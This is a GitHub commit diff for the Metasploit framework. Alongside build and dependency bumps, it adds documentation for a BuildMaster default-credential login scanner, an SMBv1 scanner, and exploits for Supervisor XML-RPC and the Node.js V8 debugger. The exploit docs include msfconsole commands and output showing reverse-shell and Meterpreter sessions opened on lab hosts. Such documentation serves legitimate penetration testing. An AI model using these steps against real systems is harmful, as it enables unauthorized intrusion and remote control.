Skip to content

Commit a491407

Browse files
committed
Merge branch 'goliath' into loot_and_creds
2 parents d63b087 + 2c8f27c commit a491407

File tree

210 files changed

+1271
-463
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

210 files changed

+1271
-463
lines changed

.ruby-version

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
2.4.1
1+
2.4.2

.travis.yml

Lines changed: 12 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,18 +12,24 @@ addons:
1212
language: ruby
1313
rvm:
1414
- '2.2'
15-
- '2.3.4'
16-
- '2.4.1'
15+
- '2.3.5'
16+
- '2.4.2'
1717

1818
env:
1919
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
2020
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
2121

2222
matrix:
2323
fast_finish: true
24+
25+
jobs:
26+
# build docker image
2427
include:
25-
- rvm: ruby-head
26-
env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build"
28+
- env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true"
29+
# we do not need any setup
30+
before_install: skip
31+
install: skip
32+
before_script: skip
2733
before_install:
2834
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
2935
- rake --version
@@ -42,7 +48,8 @@ before_script:
4248
- git diff --exit-code db/schema.rb
4349
script:
4450
- echo "${CMD}"
45-
- bash -c "${CMD}"
51+
# we need travis_wait because the Docker build job can take longer than 10 minutes
52+
- if [[ "${DOCKER}" == "true" ]]; then echo "Starting Docker build job"; travis_wait 40 "${CMD}"; else bash -c "${CMD}"; fi
4653

4754
notifications:
4855
irc: "irc.freenode.org#msfnotify"

Dockerfile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
FROM ruby:2.4.1-alpine
1+
FROM ruby:2.4.2-alpine
22
MAINTAINER Rapid7
33

44
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"

Gemfile

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,6 @@ group :development do
2323
# module documentation
2424
gem 'octokit'
2525
# Metasploit::Aggregator external session proxy
26-
2726
# Disabled for now for crypttlv updates
2827
# gem 'metasploit-aggregator'
2928
end

Gemfile.lock

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.8)
20+
metasploit-payloads (= 1.3.9)
2121
metasploit_data_models
2222
metasploit_payloads-mettle (= 0.2.2)
2323
msgpack
@@ -152,7 +152,7 @@ GEM
152152
activemodel (~> 4.2.6)
153153
activesupport (~> 4.2.6)
154154
railties (~> 4.2.6)
155-
metasploit-payloads (1.3.8)
155+
metasploit-payloads (1.3.9)
156156
metasploit_data_models (2.0.15)
157157
activerecord (~> 4.2.6)
158158
activesupport (~> 4.2.6)
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
## Description
2+
3+
This module allows you to authenticate to Inedo BuildMaster, an application release automation tool.
4+
The default credentials for BuildMaster are Admin/Admin. Gaining privileged access to BuildMaster can lead to remote code execution.
5+
6+
## Vulnerable Application
7+
8+
[Inedo's Windows installation guide](http://inedo.com/support/documentation/buildmaster/installation/windows-guide)
9+
10+
[Inedo website](http://inedo.com/)
11+
12+
## Verification Steps
13+
14+
1. Do: ```use auxiliary/scanner/http/buildmaster_login```
15+
2. Do: ```set RHOSTS [IP]```
16+
3. Do: ```set RPORT [PORT]```
17+
4. Do: Set credentials
18+
5. Do: ```run```
19+
6. You should see the module attempting to log in.
20+
21+
## Scenarios
22+
23+
### Attempt to login with the default credentials.
24+
25+
```
26+
msf > use auxiliary/scanner/http/buildmaster_login
27+
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
28+
RHOSTS => 10.0.0.39
29+
msf auxiliary(buildmaster_login) > run
30+
31+
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
32+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
33+
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
34+
[*] Scanned 1 of 1 hosts (100% complete)
35+
[*] Auxiliary module execution completed
36+
msf auxiliary(buildmaster_login) >
37+
```
38+
39+
### Brute force with credentials from file.
40+
41+
```
42+
msf > use auxiliary/scanner/http/buildmaster_login
43+
msf auxiliary(buildmaster_login) > set RHOSTS 10.0.0.39
44+
RHOSTS => 10.0.0.39
45+
msf auxiliary(buildmaster_login) > set USERPASS_FILE ~/BuildMasterCreds.txt
46+
USERPASS_FILE => ~/BuildMasterCreds.txt
47+
msf auxiliary(buildmaster_login) > run
48+
49+
[+] 10.0.0.39:81 - Identified BuildMaster 5.7.3 (Build 1)
50+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"test"
51+
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"test"
52+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"wrong"
53+
[-] FAILED LOGIN - 10.0.0.39:81 - "Admin":"wrong"
54+
[*] 10.0.0.39:81 - Trying username:"Admin" with password:"Admin"
55+
[+] SUCCESSFUL LOGIN - 10.0.0.39:81 - "Admin":"Admin"
56+
[*] Scanned 1 of 1 hosts (100% complete)
57+
[*] Auxiliary module execution completed
58+
msf auxiliary(buildmaster_login) >
59+
```
Lines changed: 55 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
# Description
2+
This module scans for hosts that support the SMBv1 protocol. It works by sending an SMB_COM_NEGOTATE request to each host specified in RHOSTS and claims that it only supports the following SMB dialects:
3+
```PC NETWORK PROGRAM 1.0
4+
LANMAN1.0
5+
Windows for Workgroups 3.1a
6+
LM1.2X002
7+
LANMAN2.1
8+
NT LM 0.12
9+
```
10+
If the SMB server has SMBv1 enabled it will respond to the request with a dialect selected.
11+
If the SMB server does not support SMBv1 a RST will be sent.
12+
13+
___
14+
# Usage
15+
16+
The following is an example of its usage, where x.x.x.x allows SMBv1 and y.y.y.y does not.
17+
18+
#### A host that does support SMBv1.
19+
20+
```
21+
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
22+
msf auxiliary(smb1) > set RHOSTS x.x.x.x
23+
RHOSTS => x.x.x.x
24+
msf auxiliary(smb1) > run
25+
26+
[+] x.x.x.x:445 - x.x.x.x supports SMBv1 dialect.
27+
[*] Scanned 1 of 1 hosts (100% complete)
28+
[*] Auxiliary module execution completed
29+
msf auxiliary(smb1) > services -S x.x.x.x
30+
31+
Services
32+
========
33+
34+
host port proto name state info
35+
---- ---- ----- ---- ----- ----
36+
x.x.x.x 445 tcp smb1 open
37+
```
38+
39+
#### A host that does not support SMBv1
40+
41+
```
42+
msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
43+
msf auxiliary(smb1) > set RHOSTS y.y.y.y
44+
RHOSTS => y.y.y.y
45+
msf auxiliary(smb1) > run
46+
47+
[*] Scanned 1 of 1 hosts (100% complete)
48+
[*] Auxiliary module execution completed
49+
```
50+
___
51+
52+
53+
## Options
54+
55+
The only option is RHOSTS, which can be specified as a single IP, hostname, or an IP range in CIDR notation or range notation. It can also be set using hosts from the database using ```hosts -R```.
Lines changed: 78 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
## Vulnerable Application
2+
3+
This module exploits an authenticated RCE vulnerability in Supervisor versions 3.0a1 to 3.3.2
4+
5+
This has been tested with versions 3.2.0 and 3.3.2
6+
7+
### Creating A Testing Environment
8+
9+
At the time of writing, version 3.2.0-2ubuntu0.1 is available in the Ubuntu repositories.
10+
11+
1. ```sudo apt-get install supervisor```
12+
2. Enable Web interface/XML-RPC server in Supervisor config in `/etc/supervisor/supervisord.conf`
13+
14+
```
15+
[inet_http_server] ; inet (TCP) server disabled by default
16+
port=:9001 ; ip_address:port specifier, *:port for all iface
17+
username=user ; default is no username (open server)
18+
password=123 ; default is no password (open server)
19+
```
20+
21+
3. Restart the service: `sudo service supervisor restart`
22+
23+
## Verification Steps
24+
25+
1. ```use exploit/linux/http/supervisor_xmlrpc_exec```
26+
2. ```set lhost [IP]```
27+
3. ```set rhost [IP]```
28+
4. ```set httpusername user```
29+
5. ```set httppassword 123```
30+
6. ```exploit```
31+
7. A meterpreter session should have been opened successfully
32+
33+
## Options
34+
35+
**HttpUsername**
36+
37+
Username for HTTP basic auth which is set in the conf file(optional)
38+
39+
**HttpPassword**
40+
41+
Password for HTTP basic auth which is set in the conf file(optional)
42+
43+
**TARGETURI**
44+
45+
The path to the XML-RPC endpoint
46+
47+
## Scenarios
48+
49+
### Supervisor 3.2.0 on Xubuntu 16.04
50+
51+
```
52+
msf > use exploit/linux/http/supervisor_xmlrpc_exec
53+
msf exploit(supervisor_xmlrpc_exec) > set httpusername user
54+
httpusername => user
55+
msf exploit(supervisor_xmlrpc_exec) > set httppassword 123
56+
httppassword => 123
57+
msf exploit(supervisor_xmlrpc_exec) > set lhost 192.168.0.2
58+
lhost => 192.168.0.2
59+
msf exploit(supervisor_xmlrpc_exec) > set rhost 192.168.0.19
60+
rhost => 192.168.0.19
61+
msf exploit(supervisor_xmlrpc_exec) > check
62+
63+
[*] Extracting version from web interface..
64+
[*] Using basic auth (user:123)
65+
[+] Vulnerable version found: 3.2.0
66+
[*] 192.168.0.19:9001 The target appears to be vulnerable.
67+
msf exploit(supervisor_xmlrpc_exec) > exploit
68+
69+
[*] Started reverse TCP handler on 192.168.0.2:4444
70+
[*] Sending XML-RPC payload via POST to 192.168.0.19:9001/RPC2
71+
[*] Using basic auth (user:123)
72+
[*] Sending stage (2878872 bytes) to 192.168.0.19
73+
[*] Command Stager progress - 100.00% done (782/782 bytes)
74+
[+] Request timeout, usually indicates success. Passing to handler..
75+
[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 192.168.0.19:36186) at 2017-08-30 01:24:45 +0100
76+
77+
meterpreter >
78+
```
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
## Vulnerable Application
2+
3+
Current and historical versions of node (or any JS env based on the
4+
V8 JS engine) have this functionality and could be exploitable if
5+
configured to expose the JS port on an untrusted interface.
6+
7+
Install a version of node using any of the normal methods:
8+
* Vendor: https://nodejs.org/en/download/package-manager/
9+
* Distro: `sudo apt-get install nodejs`
10+
11+
Alternately, use standard node docker containers as targets:
12+
```
13+
$ docker run -it --rm -p 5858:5858 node:4-wheezy node --debug=0.0.0.0:5858
14+
```
15+
(Others at https://hub.docker.com/_/node/)
16+
17+
Tested on Node 7.x, 6.x, 4.x
18+
19+
## Verification Steps
20+
21+
1. Run a node process exposing the debug port
22+
```
23+
node --debug=0.0.0.0:5858
24+
```
25+
26+
2. Exploit it and catch the callback:
27+
28+
```
29+
msfconsole -x "use exploit/multi/misc/nodejs_v8_debugger; set RHOST 127.0.0.1; set PAYLOAD nodejs/shell_reverse_tcp; set LHOST 127.0.0.1; handler -H 0.0.0.0 -P 4444 -p nodejs/shell_reverse_tcp; exploit
30+
```
31+
(If using docker hosts as targets for testing, ensure that LHOST addr is accessible to the container)
32+
33+
Note that in older Node versions (notably 4.8.4), the debugger will not immediately process the incoming eval message. As soon as there is some kind of activity
34+
(such as a step or continue in the debugger, or just hitting enter), the payload will execute and the handler session will start.
35+
36+
37+
## Scenarios
38+
39+
### Example Run (Node 7.x)
40+
41+
Victim:
42+
```
43+
$ node --version
44+
v7.10.0
45+
$ node --debug=0.0.0.0:5858
46+
(node:83089) DeprecationWarning: node --debug is deprecated. Please use node --inspect instead.
47+
Debugger listening on 0.0.0.0:5858
48+
>
49+
(To exit, press ^C again or type .exit)
50+
```
51+
52+
Attacker:
53+
```
54+
msf exploit(nodejs_v8_debugger) > exploit
55+
56+
[*] Started reverse TCP handler on 10.0.0.141:4444
57+
[*] 127.0.0.1:5858 - Sending 745 byte payload...
58+
[*] 127.0.0.1:5858 - Got success response
59+
[*] Command shell session 4 opened (10.0.0.141:4444 -> 10.0.0.141:53168) at 2017-09-04 00:37:17 -0700
60+
61+
id
62+
(redacted)
63+
```
64+

0 commit comments

Comments
 (0)